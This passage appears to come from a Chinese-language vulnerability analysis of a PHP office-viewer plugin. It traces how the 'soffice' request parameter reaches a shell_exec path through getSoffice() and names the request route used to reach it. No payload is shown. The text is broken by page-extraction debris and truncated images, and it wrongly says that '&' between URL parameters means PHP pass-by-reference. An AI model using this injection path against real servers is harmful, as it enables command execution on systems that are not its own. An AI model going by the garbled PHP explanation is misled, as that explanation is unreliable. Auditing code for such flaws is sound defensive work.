show_json(<span class=hljs-variable>$msg</span>, !!<span class=hljs-variable>$soffice</span>);
|
||||
}
|
||||
Action(<span class=hljs-keyword>$this</span>->pluginName)->includeTpl(<span class=hljs-string>'static/libreoffice/check.html'</span>);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=26>可以看到通过此函数先从 HTTP 请求中获取名为 <code>soffice</code> 的参数,并将其值赋给变量 <code>$bin</code>,下来检查是否存在名为 "check" 的 GET 参数,如果存在才会进入条件语句的代码块,检查<code>shell_exec()</code> 函数是否可用,接下来调用<code>getSoffice()</code> 方法。</p>
|
||||
<p blockindex=27><img src=data:image/png;base64,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 truncated
|
||||
<p blockindex=28>在<code>getSoffice()</code> 方法中<code>isset($data['soffice'])</code> 检查数组 <code>$data</code> 中是否存在键名为 <code>'soffice'</code> 的元素,如果存在返回true,并将$data['soffice']` 的值赋给$bin。</p>
|
||||
<p blockindex=29><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=30>拼接soffice参数:plugin/officeViewer/libreOffice/index/check&soffice</p>
|
||||
<p blockindex=31>使用 <code>&</code> 连接check和soffice参数可以将参数以引用传递的方式传递给函数或方法。</p>
|
||||
<p blockindex=32>(在php中两个参数使用 <code>&</code> 连接参数是为了以引用传递的方式将参数传递给函数或方法。PHP 函数和方法中的参数传递分为按值传递、引用传递。默认情况下PHP 函数和方法中的参数传递是按值传递(pass by value)的,也就是说会创建参数的副本并传递给函数或方法。这意味着在函数或方法内部对参数进行修改不会影响到原始的参数。然而,有时候我们希望在函数或方法内部能够修改原始的参数。这时可以使用引用传递(pass by reference),在参数前面加上 <code>&</code> 符号来实现。这样,当参数在函数或方法内部被修改时,原始的参数也会被修改。)</p>
|
||||
<p blockindex=33><img src="data:image/png;base64,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 truncated
|
||||
<pre blockindex=34><code class="hljs language-php"><span class=hljs-variable>$bin</span> = <span class=hljs-string>'"'</span>.trim(iconv_system(<span class=hljs-variable>$bin</span>)).<span class=hljs-string>'"'</span>; <span class=hljs-comment>// win路径空格处理</span>
|
||||
</code></pre>
|
||||
